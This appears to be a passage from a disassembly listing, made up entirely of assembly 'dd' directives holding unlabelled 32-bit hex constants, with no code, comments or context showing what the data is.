dd 8C1E5F1Ah, 58BF3F10h, 8756318h, 20187824h, 0C910C070h
dd 3F514CFBh, 3E3D1Eh, 57738DE3h, 0EC61EF5Ah, 0FA1E80Ah
dd 508B1E0h, 45E6654Dh, 0CC140077h, 8A31F229h, 0EFA1DA00h
dd 0AD08A02Eh, 1C28A6F4h, 1841CB9Eh, 0A8CF28F0h, 6018D521h
dd 86356F4Bh, 0A1E5F912h, 89F8300h, 0A5B17B2Dh, 0DB2B012Ch
dd 0E49AD605h, 6E038FA1h, 93FA1303h, 0A0BAA080h, 58E0C0D1h
dd 0D89AD48Eh, 3DD3E3Ah
dd 6D55AD9Ch, 7087694h, 0D66EF67h, 2DC74E37h, 24A382E9h
dd 4A068C94h, 0C6530717h, 2F6F0FA0h, 0DB872EEBh, 4EBA50CDh
dd 6D280A6Bh, 3A00E0B3h, 972E29E2h, 3167F007h, 6D08DF8Dh
dd 0F3A45C62h, 1DA470Ch, 334F58C7h, 0D63872ACh, 7E5A580Fh
dd 2777050Fh, 0B99AF003h, 0E0F7C162h, 0BE0BDA00h, 0E524A402h
dd 6384A29Bh, 0B01ADADDh, 14EBCE60h, 0EC521C08h, 0F2F42F00h
dd 0E466D72Eh, 684D0F8Ch, 90B881D8h, 0FA482D0Fh, 99880148h
dd 6EC1AD0Bh, 61803020h, 5AE9E80Eh, 227092EBh, 4C286800h
dd 5C6CB72Fh, 0DC42CD7Ch, 20A79B80h, 0F00609DAh, 612BEF6Dh
dd 58C262F0h, 7440C92Dh, 2164A30Dh, 68803D08h, 249430EDh
dd 50443A12h, 461F9E0Dh, 302441E5h, 0D7505118h, 0C0EC54D3h
dd 1CE85745h, 95742102h, 88813910h, 446881AFh, 40AF87E8h
dd 0A1B63B7h, 8C184D0Ah, 0F558A812h, 7B7D0942h, 400FE7E9h
dd 130699Fh, 5CB0851Fh, 6F988B59h, 2C85F731h, 0DA980ACDh
dd 0A23650BCh, 76072200h, 424F6DF5h, 0DAE81343h, 0BA040574h
dd 0D630305Dh, 0D22083F0h, 0D52F2866h, 906D39D0h, 5B264448h
dd 0E9FA1C28h, 0A25E811Ch, 4010FE0Dh, 93820FC0h, 0DA1A3F12h
dd 145A3009h, 78C0450h, 80EC13E7h, 658AEFB4h, 59EC0C9h
dd 0F0289A40h, 82AE1FE0h, 0CF02E07Fh, 0DA3F96B3h, 0CD904089h
dd 3AD8C3E7h, 8DC1F62Bh, 41845CB6h, 807D0F0Ch, 0D1AFD8B3h
dd 30C06441h, 865F1FEDh, 676F009Ah, 74248F8h, 0AAF5793Ah
dd 0CB9DE030h, 6F887EA9h, 0B3E1416h, 38A0C8EDh, 0AB6E4F18h
dd 4296A2C9h, 0C414B80Ah, 34EB301Eh, 0F1892F51h, 0A4852490h
dd 78C93D01h, 0BC50BD4Ah, 122F4B7Bh, 9F86C77h, 0F800CDF0h
dd 0E828657Ah, 0BC82ACA5h, 6846FFDEh, 483FEF90h, 0FE09B486h
dd 1016E822h, 0F860460Fh, 990D44Fh, 1CB94ACFh, 708F043Ch
dd 9153D7AEh, 20ECFA84h, 744CFD20h, 50D1E010h, 0B7F11203h
dd 257C38E6h, 0BD324A0Fh, 9124B083h, 0C2FA0B14h, 8E47426h
dd 0C6F23A07h, 3F204DC0h, 88640D0Bh, 44906805h, 66C13502h
dd 80F68FADh, 0A2552CEEh, 81269E4h, 760F2C16h, 0F8549CA0h
dd 4614FC8h, 5C4DDE40h, 752CC3EFh, 6B286078h, 720B8C7h
dd 84DA5868h, 0D2F89700h, 0F3E90D0Ah, 0BB301C90h, 56DB1876h
dd 5CC429A2h, 1AE28F74h, 68040E4h, 3A60442Fh, 0DE24322Dh
dd 0AFA55814h, 4AC3AD10h, 8CAB0F15h, 38F4B412h, 5F098984h
dd 26F6C7A4h, 99C0BABCh, 715167C4h, 52F85824h, 0B4A4DCF4h
dd 6E88FC3h, 0DCD7DAA7h, 0FCAF1359h, 207814DEh, 25DDF6A0h
dd 588E2124h, 85C58F02h, 826C452Fh, 2C201991h, 46976F23h
dd 167D68C9h, 41105A2Ah, 97B14F40h, 0E494CA45h, 5556D91Eh
dd 882F29B1h, 28F74893h, 220A5A00h, 0A8B2B46Dh, 0A416DF92h
dd 1806682Ch, 0A175C374h, 4AF1F3EFh, 0DE430E78h, 0E6B560C1h
dd 3010B58h, 5DB3D6A2h, 8A0BCEBh, 931E8A94h, 2B832888h
dd 0F158EA1Dh, 9F2064DFh, 0C7441406h, 8E0214B6h, 124D1691h
dd 0C047CB03h, 746F29AAh, 0CA4902EDh, 6AC05A85h, 0DEEBE0F5h
dd 40451838h, 8D2008F7h, 0E4033CA6h, 568CFFF2h, 38ABC8F7h
dd 0E9E01123h, 426FCE1Fh, 6E583Bh, 127E048Bh, 52B6F63Ch
dd 0E2720328h, 1B831h, 71606B28h, 0ED899612h, 2AA3078Ch
dd 0C05E4C25h, 0C1624B58h, 5016122Bh, 9BB50F02h, 0F12B21CEh
dd 2F79816Fh, 23782605h, 6E06C4h, 0BE72E265h, 0A33BC9A5h
dd 663EA200h, 0C6059C94h, 1FE7413h, 0C38A2D86h, 48296339h
dd 79088420h, 0A31901h, 347A9D1Bh, 0F1021E30h, 0D6FE0A07h
dd 3718A006h, 0E7AE6B9Eh, 17BCAC0h, 0F9F743EBh, 5D982530h
dd 0F6BF830h, 0A4B64D03h, 54F5BC9h, 138F5930h, 0C314403Fh
dd 844AD11Ch, 8DBB58C1h, 0F8F11BA3h, 1824404Ch, 0B11D9D19h
dd 2C0E859Bh, 94E7639Ah, 0AFA9813Ch, 518371F9h, 0AAA10FFBh
dd 238FFCAh, 6618000Dh, 0DBC9A2A4h, 0D10A844Eh, 5012B7D9h
dd 0BDC78840h, 1160609Eh, 2604E8AEh, 8E1B631h, 3CB461Bh
dd 0A6B34710h, 40683C33h, 0A7631420h, 0E91101EEh, 83245A71h
dd 146C062h, 0E6D36B00h, 76BA3E2Bh, 539E0026h, 661392B0h
dd 2F0030A9h, 39900A15h, 8AEDB3h, 0FC20700Ch, 956CF03Dh
dd 0D21C7670h, 73C0B4D0h, 0C2BF5717h, 8E660F8Fh, 0B2A78609h
dd 0A88C50F4h, 620090CBh, 88DC4B01h, 3A674A68h, 0A400C5B3h
dd 0D15CF3D7h, 0DA1E0EE2h, 44403E96h, 0E6CCEB45h, 6C01004Bh
dd 0E97497ABh, 2C00A65Ch, 8798633Eh, 7EBB4h, 4DF21B29h
dd 7C3213EFh, 0D0268300h, 0DFC50DABh, 4EDD0938h, 7A00254Ah
dd 0C33D311h, 3FCF630Fh, 0B2AC0062h, 37C15E4h, 3497BA9Ch
dd 0A099718Dh, 36AE8BBh, 23F7810Ah, 8A00AA69h, 384CDBDCh
dd 0A9358EBh, 0CA3AD700h, 8F3DA6FFh, 7090EE00h, 91CF203h
dd 0A5880057h, 6E22E96h, 0B100DBA6h, 6AF1E57Bh, 14DD36CBh
dd 0D0B97876h, 4E0E1000h, 173F348h, 55213300h, 66DF27F9h
dd 1AC71DF6h, 839FFE4Bh, 0A4404009h, 63BFA56Dh, 76293600h
dd 2460288Bh, 2E0E00E9h, 0B47C096Fh, 0DA392DC3h, 82B78630h
dd 3F3E541Bh, 81001A58h, 0A52D89Fh, 44EC9540h, 87BD5A00h
dd 0E13A7542h, 3AA7498h, 64212C81h, 68E91DCAh, 0B067DCE2h
dd 0F8C21E00h, 80346BF4h, 1B37000Bh, 0ED76DF5Dh, 5500B436h
dd 5E2796D5h, 2E5C59E1h, 754286Ah, 7034E204h, 5D714ED0h
dd 43B77600h, 0AF284A23h, 6B09000Ch, 6C7EC526h, 527C382Eh
dd 61304D01h, 0E49DA44Eh, 8419D080h, 0BB3CD186h, 8BF6B200h
dd 1262CF03h, 66980029h, 0F98A69C7h, 0AE05E02Fh, 0E7D5FE5h
dd 2143D000h, 36CC5Dh, 9A96F70Fh, 56E27E2Ah, 0C094DC02h
dd 75F4859Eh, 76B24E40h, 0AD908900h, 0DFB70CD0h, 96030BB0h
dd 7E80CA0Ah, 0A298FCB1h, 0EB7DF900h, 8654F00Ch, 0E02875A0h
dd 4FD7029Ch, 0EAA1F6D0h, 6ACBC840h, 4E18FB07h, 0AB772A96h
dd 70504CD0h, 7E7A14h, 0B2B9BBE8h, 44DDF5EBh, 6C90D006h
dd 758E264h, 1C10D695h, 3037079Ah, 0C9CBCFF2h, 4BFEA000h
dd 3EE3052h, 0B4D100D0h, 0CF711273h, 61132B81h, 0AA9AB3h
dd 0B7CD444Bh, 8B003AA4h, 990217A2h, 43229Fh, 81AB745Dh
dd 7F2A422Eh, 0FC3AB371h, 66DE802Fh, 38E1FA8Ch, 26910075h
dd 0D0EFC54Fh, 0E81F4E53h, 0A7C7684Bh, 762094EAh, 30E32F5Dh
dd 4E88C089h, 0AE034364h, 1E091A25h, 36DEA1BCh, 0F80F5830h
dd 2CE607D4h, 0ACC9DCB1h, 0D70305E8h, 0F8E5BB6Ch, 0AAA0066Eh
dd 649A5DCFh, 297B6A1Dh, 51D9E640h, 33C2BE3h, 6D8514B6h
dd 0C3984233h, 1E0ECC06h, 0E0471D07h, 0F3EAB1BFh, 0E09000C6h
dd 0FEA3A0A8h, 400088E6h, 0B1C5A167h, 36126F8h, 20B75B51h
dd 4DB0D53Eh, 0BE0023FBh, 0CBEC2F6Dh, 3D241275h, 9348E910h
dd 968A7200h, 1A0EC9EFh, 0F07DF100h, 0AE69BF75h, 0C1A900EAh
dd 908F4BBh, 88008D2Ch, 0C24766DAh, 38D832E1h, 0E8B1B8D1h
dd 0ECEA7A18h, 7905C980h, 75AD6DCCh, 59D7B4C1h, 4C67E4h
dd 0E007D94Eh, 0FD63297Ah, 0FA3E33F8h, 5A25017Eh, 0D9AED153h
dd 3910C3F0h, 0BC805CCAh, 80AD7481h, 880E0C14h, 73EA5BDh
dd 30400EA2h, 0FBFD03h, 63AEC8F7h, 9A1BE292h, 8FA07600h
dd 33566F1Fh, 503100D6h, 4E995189h, 0CF05CA11h, 0C3755F02h
dd 93ABE402h, 180F5D14h, 0DDC16CEEh, 0E867E6C6h, 901719Eh
dd 7CD0C7B8h, 7470C891h
dd 1BDD00ABh, 1E5FA7C1h, 0F71EA9EDh, 75C0AD9Bh, 53BF1314h
dd 0E7AE2579h, 1C00D2D8h, 43C99640h, 642941h, 574AFF7h
dd 268EE9A1h, 0D89B8D00h, 576DABEFh, 273A001Bh, 71CB3635h
dd 321C2C3Eh, 0FA8042A5h, 1252305Fh, 8F5D007Fh, 0ADFEF11Ch
dd 7301A7C7h, 0D7F6EAD3h, 5EE8CFC2h, 62412707h, 0E8C82643h
dd 0A2001829h, 2ECEF8BDh, 1ABFEC2h, 5ABC28A7h, 0FA9E5475h
dd 0D7730D40h, 0FFB4B103h, 0F06117BAh, 0E78D19F3h, 7A2F69C0h
dd 85E0099h, 0BDE397F4h, 87985A6Eh, 10A18400h, 3B529579h
dd 0E9850007h, 6B6CFEFAh, 9B007A3Ah, 4F0267BDh, 906DE0F2h
dd 0ABF00B3h, 732446CFh, 870F1D10h, 201F3668h, 0E9ACDD72h
dd 4FB007Ch, 0C5B5F1DBh, 8203661Ah, 4230F4A0h, 3EBA808Fh
dd 88271810h, 0CC671697h, 0B82B7E00h, 0A25803C8h, 8F833EF0h
dd 4582BE80h, 5B9DE6D9h, 6D952000h, 4DFCA64Ch, 0D3D400B8h
dd 7ADCA7CFh, 0C1039E35h, 596D0F49h, 0BAD3BFh, 0B971B028h
dd 5DBD4CFDh, 6310900h, 57144132h, 1778E9h, 63F133BAh
dd 0BFC69625h, 6D01A270h, 0A17FF893h, 99E45BB2h, 33E0069h
dd 0DD87BB5Dh, 400DC01h, 0BD46459h, 0C12774h, 8F88410Dh
dd 52181A22h, 6880BD60h, 28A1BC5Bh, 5044AC0Ah, 60789569h
dd 4B508835h, 0EEA8B12h, 260F4001h, 0BB62D9E7h, 36FA4080h
dd 0A11D7AD7h, 3AC8C10Fh, 0E1892F9Eh, 4D06DA03h, 51236885h
dd 0BC1E79h, 0F93A1DFAh, 0E50110A4h, 0BEE8BA35h, 20DC8BA1h
dd 0F3DCE3B0h, 0BBF8C3h, 27BFEFC8h, 2D140732h, 0D509CDA0h
dd 2A003890h, 0BD7EC2EEh, 91188Ch, 16E330C6h, 516FDC39h
dd 0A95772Eh, 2BB9A430h, 2F40077Bh, 8AE0C5h, 0E4B1A0C6h
dd 61C4F100h, 3331A182h, 0BAE407h, 453A8A79h, 2D862940h
dd 0DE5D271Dh, 0E8A8D680h, 390A2F72h, 6380B8A6h, 13A7E683h
dd 3A074855h, 518C601Ch, 9E3C8D50h, 3F5674C8h, 0F8546869h
dd 0EE053F6Dh, 0DA973D80h, 914DE273h, 4386C91Ah, 16316076h
dd 5CAA7C7Bh, 3860DC20h, 0C3C995B3h, 0FC799100h, 0CAC5C0EEh
dd 9DEC78h, 0E3E53CBDh, 30054944h, 199130C2h, 0C0B88ED3h
dd 36C8FFF3h, 0DD820014h, 0E0BE2C32h, 0D5288A3Ah, 0A600F8F9h
dd 0C3383F1Ch, 1C84987Fh, 46B614B9h, 502F87D7h, 3403C00h
dd 84F339BFh, 77D50005h, 33C5E166h, 5E00DA92h, 38899645h
dd 18B541C8h, 80E8059Ah, 4607CCA3h, 31222304h, 14778390h
dd 4E6700F9h, 41C62050h, 0B37B5D1Dh, 6C000A7Ch, 0A7FCA409h
dd 496636C0h, 2D033458h, 0F32A2C2h, 0D3E1B7C2h, 0E10895C7h
dd 258D2CACh, 9030E90Ah, 41D25B1Fh, 54BDC440h, 3127F8A2h
dd 8610FB65h, 35F97096h, 43143103h, 0A163909Bh, 8840FEB2h
dd 2190F61h, 57B75E55h, 91E0E8AEh, 9CADDA96h, 0EB39DFE0h
dd 0FBEA0615h, 69B76375h, 102D9298h, 1E35C9Dh, 8A8F2E78h
dd 0CB55303Eh, 8ECD740Fh, 0AB898275h, 9018433Fh, 0F4A9B7h
dd 7DAD88B5h, 0E95B0325h, 60015519h, 28F8B3A1h, 0DBCCA0EBh
dd 0D87FE3h, 0DE2358D1h, 9771AE4Fh, 21843300h, 35BE110Ch
dd 0BF910073h, 0EB54D130h, 0F2E653B2h, 1800A4E0h, 0BAECA2Fh
dd 1E8BF23h, 0A713C775h, 0D0A3BD17h, 0B4EE6653h, 0BC03F701h
dd 9240303Dh, 60580EECh, 0E5BDA672h, 0C100C67Dh, 44CCA846h
dd 0FBDF02h, 0A48F0C6Eh, 0E2505535h, 4FB0E600h, 1A6C4874h
dd 0CDF8E9h, 1668B967h, 0EFC78C75h, 0A8BC3600h, 41206C96h
dd 0CFBD05C8h, 0E00559h, 1C40E1A0h, 0B000B247h, 0EF5F7634h
dd 0FD0F3Ch, 0B6BD2328h, 0F510773Dh, 86A64F1Dh, 273FE000h
dd 2CEB8138h, 30FDB41Dh, 72B98F20h, 24EE4103h, 0C846B0BFh
dd 3C9E0A55h, 0C980D51Ch, 7C8E39E6h, 17032689h, 0F67E204Ch
dd 12F7B8C0h, 3DAF00C6h, 0C4E0B98Eh, 0F80C6E0Fh, 29602D05h
dd 0EC70552h, 0BB1FCCh, 754527CAh, 0C5398E13h, 0A4BE803Bh
dd 0A98450A8h, 5ECD00BBh, 2D4D878Dh, 0C73C2059h, 0C4570062h
dd 5B1F572h, 0D0E70EAFh, 63A0392Bh, 11D6E647h, 313CE00h
dd 16FAE810h, 61F4D5h, 0D0150B6Fh, 234F76F0h, 4330C5E2h
dd 378A1866h, 0FC130090h, 0D127ACF5h, 2500EC88h, 30B87565h
dd 284EC21Eh, 641374h, 0D1F1EC96h, 0F833B1CFh, 0F963E000h
dd 5C7D7441h, 1D423EE9h, 70182BA8h, 3EDA0022h, 0C5482998h
dd 43178E7Dh, 24004B83h, 35E3E76Ch, 1B7ED3h, 0E01221A8h
dd 0ECA5F743h, 0ABAEFE00h, 9437722Dh, 0BE5F00C9h, 0A6E3F667h
dd 831F24DCh, 1E80C2D4h, 0CFB8A065h, 96743Ah, 89E395CCh
dd 0B33D6778h, 57C42001h, 2285CF1Ah, 13BEBD8h, 606FA0B1h
dd 70719BB5h, 0A800FC4Ch, 1A410C6Ah, 2E9D6DFEh, 3C2715h
dd 8B7375F5h, 697B8466h, 57B6E00h, 1EE7D2DBh, 0F8F11D61h
dd 2B070796h, 0BB24109Ch, 9500926Ah, 20B72958h, 0EECE7FBEh
dd 1730009Eh, 0C1F31DB5h, 0F500F26Ch, 5D55A39Dh, 271B41h
dd 0AD0D4C18h, 87A7B3AAh, 0F3018500h, 82395F34h, 15090E70h
dd 16612180h, 43BB69D8h, 9290BFA4h, 2C0081F3h, 0A954B60Dh
dd 0C40A78Ch, 9E944973h, 19001146h, 0FC3C229Fh, 0AB7E70h
dd 0C7BA77C2h, 480D549h, 0BD464B00h, 7E5908E9h, 12503B8h
dd 0C8DF6AC0h, 21A3B2F9h, 0DEF900C7h, 71001511h, 372B6ECCh
dd 0F025E36h, 6A5CC272h, 7DDA21A0h, 44006688h, 0C1760E7Bh
dd 6020D2h, 73B6597Ah, 8BB35808h, 0E8855C00h, 0B8EC15DEh
dd 0FB3C1D35h, 534E8072h, 0B65CBC18h, 363EE601h, 0D0A479A9h
dd 90A0CCh, 3C131FDh, 0D324AD21h, 0E3C3476h, 0BD8C0392h
dd 88BF96AFh, 615D2Fh, 0B3C9FA66h, 0F1399D8h, 6A5AA300h
dd 22DAE167h, 0D44F00D9h, 0DD532CE3h, 290001F4h, 999B7E9h
dd 9BCF0Ch, 0C44CF1E6h, 0ECCC4A1Bh, 3B11E560h, 733D29E4h
dd 0C0105F14h, 8739FB66h, 0A349A903h, 0B09153C8h, 0E478EC56h
dd 43EA00D9h, 0F9F53FC3h, 340061D8h, 0CB91E0D1h, 3D237C7h
dd 88EDAFDCh, 0D0C0518Eh, 0E709E21Fh, 805BA31Ch, 0B885A0A8h
dd 804D3A36h, 22AF0B00h, 0ABE8A615h, 0DC481F0Eh, 0C1FDE089h
dd 8D3C80h, 3145A0Dh, 7FE3545h, 0DAEF5E07h, 0B410D23Bh
dd 38DD0CD5h, 2180F850h, 91CF83A8h, 5900DE9Ch, 0CC65FCD1h
dd 0C9744Ch, 8D85C149h, 94BB1C73h, 3E840D0Eh, 0BA6EC03Bh
dd 0EC95DDh, 0E2A0C350h, 9BEA8553h, 0E45AFC00h, 0CEF41EEEh
dd 0EBE88Eh, 9597D92Bh, 4A371A7Bh, 489BD507h, 920734A0h
dd 51E09680h, 8CFC00C3h, 220305D4h, 0D601857Ch, 6077A9B4h
dd 0EC40946Dh, 3FBC98A0h, 6500A330h, 0E076E640h, 0CB58A9EAh
dd 0ADE800B6h, 0EC493D35h, 0C9E617h, 0F0887A9Bh, 2D2AF85Bh
dd 0C7CC378h, 1CF3E200h, 0D556204Ah, 881E00EBh, 292C65C5h
dd 809BD5Fh, 8096A03Ah, 0DE6A0623h, 0D5690435h, 0C3CEF81Ch
dd 0A6B89E40h, 0C100C5A8h, 0D68ACDE5h, 7680BFh, 3AE4272h
dd 4F9C9FFAh, 57787E18h, 0F14D6Eh, 2FF2E65Eh, 0A1B91F3Eh
dd 0ADBD1409h, 80D48053h, 0D6838Fh, 0BFF5CE2Ah, 81845796h
dd 7188CB00h, 51EF3DB3h, 92560094h, 34ACEC43h, 2E00F01Ch
dd 0D690C84Ch, 0F7C98Bh, 115E1895h, 493C4132h, 7AE6D800h
dd 75D3776h, 0C69100ADh, 0CB553EB9h, 18189983h, 0EA22BB6h
dd 25770138h, 0AC3EA84Ch, 0FC81F580h, 65000F04h, 7063FB8h
dd 0F526D6h, 71860E45h, 83759713h, 3C445D58h, 0B72480B2h
dd 0ACC30969h, 0C8B067A5h
dd 0FC778036h, 6C1FCF3Bh, 6DC0B870h, 4DAD1373h, 7BF30FD7h
dd 0E8234A11h, 0FAD0434Eh, 0BF609F82h, 67FCA510h, 81061FFBh
dd 92D581DDh, 0F4188B89h, 3700930Bh, 0CBC87EACh, 0D5106h
dd 0A0D46DF2h, 0E68711E0h, 735B4800h, 5D0E1DABh, 0B904000Ch
dd 293EDF89h, 0B13F6A2Eh, 16540014h, 8FE98B2Ch, 4BA5053Dh
dd 39B79BFh, 26F0AB95h, 0C4640698h, 8E08700h, 6C8427AAh
dd 0A3110122h, 0EE13541Ah, 0A00FF0BCh, 0CBFA5E00h, 33C8A758h
dd 0BFB807C5h, 600C1952h, 707D9721h, 0E467E901h, 43B663D4h
dd 3040EE70h, 0CEEC2A89h, 2926FE9Bh, 440041EAh, 0BCB8A5DDh
dd 799303C0h, 78BB4854h, 3857D398h, 6BB0AD00h, 94081625h
dd 0C9C400CBh, 207143C1h, 15E82492h, 0C3C9A00h, 6D1B0E27h
dd 0AB4E0046h, 0CD5DA738h, 9F0F88B9h, 414FDAA8h, 561C2F65h
dd 59F036F1h, 48580739h, 0E240EB2h, 0C0C025E4h, 98907038h
dd 6D00B077h, 401889F2h, 5BFFCFh, 0B281E917h, 0F69EAB15h
dd 3CD4DD00h, 4138F267h, 1A9C0310h, 0EF665D1Bh, 8D154CA8h
dd 0DF5B5801h, 383D72DBh, 3CE0460h, 5DB2A356h, 6D80AD9Ch
dd 0E300E844h, 19DDF60h, 3704D0Fh, 0F5A42A68h, 0EBC86728h
dd 0E9F49A8Ch, 0E6D27A0Bh, 202E0E6Bh, 0C9733D7Dh, 7CF63EF2h
dd 0EA6F900h, 4C055E7Fh, 35475100h, 0CA2C09CFh, 71E477D6h
dd 0B78D0136h, 55141A32h, 0A2E87049h, 4009B75h, 0D9E79492h
dd 136AF87Dh, 0FA84E19h, 9080FB9Fh, 1B76ABDAh, 0CB843303h
dd 0B05C9746h, 0C03065h, 31D81AEEh, 235E7B74h, 801BD93Ah
dd 2C529463h, 1B3BFD3h, 0FCD8D1EAh, 2013EEFDh, 0EC0058C4h
dd 0D612D7BBh, 0E7DCAC4h, 0BAEF6940h, 0BD7E5A20h, 703AF6Fh
dd 34B70FA8h, 0ECB8A817h, 0D8E00FFh, 84A63C7Fh, 0B101443Bh
dd 0BE299035h, 10F0E9AEh, 0E0E237h, 6C176FF8h, 962FD786h
dd 89343B1Ch, 1B1EEA40h, 1A3C56Eh, 0D3B0B97Eh, 0C41A7A87h
dd 6700AB59h, 0CB9F3134h, 169DA8h, 7330D4D2h, 2A2B55D1h
dd 1E446300h, 0AE7CEF3Ch, 0B35C00FAh, 46CF58E4h, 4E90D55Eh
dd 0F22EB800h, 8CAE8FBBh, 0B5A50045h, 0DD7F10A7h, 0F8386E1Dh
dd 67AF2C38h, 97A5B0Fh, 0F39B8054h, 0D4123Bh, 2077E1F2h
dd 0C2C656DDh, 1306B600h, 0FC825CF7h, 9DE700D3h, 7664F455h
dd 49F215C7h, 5302E200h, 4A8EB487h, 0D0FCEDh, 9EE6A098h
dd 0CC8F944h, 0A1560500h, 27DD63A9h, 0A70D0197h, 0C321395Ch
dd 5058E095h, 0CC0161ECh, 0F51DCDABh, 4BF07817h, 0DC82079Ah
dd 0A708C305h, 0BBA960EBh, 0B40007F2h, 92A00318h, 7A8367h
dd 91A1ECA5h, 0D7B4A38h, 0DE57D201h, 2CC27677h, 39F4CFDDh
dd 0A5FD003Eh, 0E6D59690h, 0FC001419h, 0ADAA79E2h, 94BF93h
dd 2E35A677h, 0DA535F10h, 4CF06B12h, 630067ECh, 4505D9DFh
dd 201F69A6h, 97D2D5EEh, 857F2E00h, 9D066Eh, 381236D1h
dd 81F1240Ah, 0E30E8801h, 0D1C1BE8h, 18AE71F8h, 0D47C7499h
dd 6D721E6Bh, 373C562Eh, 807D800Fh, 7779E1Fh, 0FBDC02AAh
dd 0DE0995C5h, 0F7B018E3h, 0D5F8A96Dh, 0C4465500h, 2E0E3821h
dd 72D70008h, 1A4CD66Fh, 1B263196h, 7300E11Fh, 422B9EB2h
dd 7B1878F2h, 9B5A005Dh, 0C8BE926Eh, 0D900A7DCh, 0FB552C07h
dd 846204h, 0E967246Fh, 9DEB5D89h, 9902DA00h, 0A9195A55h
dd 1BF4C6h, 0E52EA773h, 156E957h, 9307D8EEh, 0DECAB31Eh
dd 87E665D0h, 10DD07B6h, 80C3818Ah, 1EC2F6EBh, 7C5B4F07h
dd 136076E8h, 36E89B5h, 0FBEED3DDh, 881D5037h, 0A0414C99h
dd 0C007BFE9h, 199549E5h, 0FE0455h, 0DB3C163h, 4F5447h
dd 1B483233h, 6434C29Ch, 7F304674h, 0B78C3098h, 9438CA4Ch
dd 93010FA0h, 67A5258Eh, 5034784Dh, 9E100156h, 5C062DC7h
dd 91FC60FEh, 262E17h, 0D7D4A5D9h, 0AC14A2AEh, 1201D60Ch
dd 220E1807h, 9643AFBCh, 1808C014h, 8AF66210h, 3A880C20h
dd 27343F5h, 0CF6790E7h, 650E99C1h, 43D0C64h, 0C548E1A9h
dd 11B57662h, 42880CF9h, 88DD21B2h, 0A941B753h, 7126211h
dd 32F130A4h, 3524A29Ah, 0F908156Dh, 185942A7h, 5D240C85h
dd 2124EA18h, 5115B477h, 6BA8100Ch, 8824CD8Ah, 0A14569F7h
dd 845E3C4Ah, 7C19A566h, 172D1106h, 615E36E7h, 4E352118h
dd 0B0F10218h, 2A8E0757h, 9080FB36h, 0A1769C8Fh, 22422100h
dd 496C81C0h, 0A48D0E1Ch, 0FB00D978h, 243BFD83h, 4AE063E6h
dd 0FEB27D12h, 4017610Ch, 3FA0080h, 0EDEFF105h, 0DC30983Ah
dd 0D50F71D0h, 18F060BEh, 0F8C6B07Ah, 91AC7E00h, 0A3A4E748h
dd 687518D4h, 0F7CF3101h, 96C6E906h, 0CA093E0h, 0F3D1FE8Bh
dd 0D3182A88h, 25A80ED6h, 0DCDB1D6Eh, 885918F0h, 9675F427h
dd 8F1C4AFDh, 44FCE08Bh, 0A3A072EFh, 1960CF58h, 0CE1F0F8h
dd 963FB5BDh, 790C9F50h, 58ED36F3h, 768888DDh, 21F2E900h
dd 0CE5A9C8Eh, 0E04C00A1h, 3BFA857h, 0C8A95D77h, 0E86FE199h
dd 0D8C0C2A7h, 0ABF7FDC9h, 982F1494h, 9F02142Ch, 0FF37DFF1h
dd 0A8B83493h, 99F8E117h, 453F9F00h, 0F58A4FE6h, 90C0A024h
dd 7ECE3027h, 7DF99AF8h, 679EA200h, 0F81A4E85h, 1C840F2Dh
dd 0C7D56E5h, 2EB8CD64h, 79C2850h, 0BD2BBE18h, 0CB3D98h
dd 0BF2D09F6h, 0EB2E8866h, 0F470082Ah, 89CE8B00h, 5F20D429h
dd 0B5283147h, 40D8FF18h, 7ED02168h, 402DA229h, 90D21F60h
dd 0C8E754F4h, 6F58009Ah, 0AD5B608Eh, 651DFBEDh, 9829FA5h
dd 0A789CFBEh, 60F1EC0h, 30109347h, 17F18727h, 9060418Ah
dd 0B0AC9588h, 36C7486Fh, 0B9859418h, 9A28973Bh, 0F0759C6Bh
dd 908F9C5h, 0F218101Bh, 53E48A25h, 324FED03h, 72C3A7A9h
dd 2C312917h, 0CC8D4184h, 1F27D845h, 0AA023C92h, 77C3BB2Ch
dd 924A4167h, 12CC1989h, 0F8F91801h, 8B488963h, 0C7C102Ch
dd 0C70324EDh, 53FD00F0h, 0CDF89EDBh, 6235427Ah, 480218B3h
dd 1807DB7h, 80289511h, 42936EA0h, 0A45C098Dh, 41F76084h
dd 97D57176h, 0B4E79F00h, 5C392BBFh, 24549092h, 34C5E81h
dd 8D50F594h, 0BEFCC7E0h, 40DCD5A1h, 83EDB580h, 0E049697Ah
dd 1B3D03ACh, 0A8B44AB9h, 7082894h, 5C540996h, 0D7BF228Eh
dd 99689844h, 3E3FA420h, 48704DD8h, 21D2208h, 25B3D27Fh
dd 346887FBh, 437C26B5h, 0AD0498A0h, 0B0945D50h, 1BF42D48h
dd 0BBE9A632h, 0C770011Fh, 0A05EAAAFh, 6E305CD3h, 4582D221h
dd 4FC842BEh, 0E8AE5B9Ah, 0F4BF442h, 5D131068h, 0AF30E960h
dd 900747DFh, 50A670BBh, 4DBFB8EDh, 0A3009C5Fh, 0E23F293Ah
dd 79097322h, 18947520h, 8A89DCh, 24C971BCh, 0B1BDC3B0h
dd 0BE65F608h, 0FE863A53h, 514DD2F0h, 5CB52A03h, 0A37B66E1h
dd 0A004A5E7h, 10C8685Dh, 0AF7C010Fh, 0B1179EE3h, 0BB343020h
dd 2227CC0Fh, 1C4260B6h, 3F6EA646h, 0C3016B82h, 97CEF890h
dd 8C65EA3Bh, 0CB4AB84h, 0E41AD640h, 514891F9h, 480EA050h
dd 425E0AFDh, 81485C32h, 98F776EDh, 2C40FA27h, 0EC00CC42h
dd 6A73B21Fh, 188F0D54h, 0F083E909h, 563B29D7h, 364D07D9h
dd 16302CBEh, 59AF89BDh, 0AC048FCh, 5181C14Bh, 0F9D8604h
dd 8490504Eh, 5453AC6Eh, 3254E495h, 0B1B164E0h, 30D26D00h
dd 17D701C9h, 0E64C73DFh, 0FC70DCA1h, 60100A6Eh, 3EC7C44Eh
dd 9C7862h, 41D3A489h, 58146D64h, 0CB96FE00h, 54623DFBh
dd 8937008Dh, 0EDD26CFDh, 1B3FD6C7h, 0AA6A8C15h, 0F9EE3170h
dd 0DED11D13h, 0AE6881D7h
dd 0CC7F8B44h, 0F04E2980h, 7442B17Ch, 0E8F22F00h, 3A320D9h
dd 52E30183h, 0C7C085F7h, 7F42D017h, 32C32A01h, 388A5E5Bh
dd 14F65FDCh, 8B51EFDh, 0EC234E20h, 80C51185h, 0AB5516C1h
dd 0D1DD06E6h, 8DE24A9h, 0FA341C06h, 783D15h, 4CAD0A38h
dd 30099DC4h, 1787C202h, 40C1DE91h, 373BD30h, 0C75F1E46h
dd 0D232D388h, 83F769F5h, 0C8B83004h, 60B05DC6h, 0D286182Bh
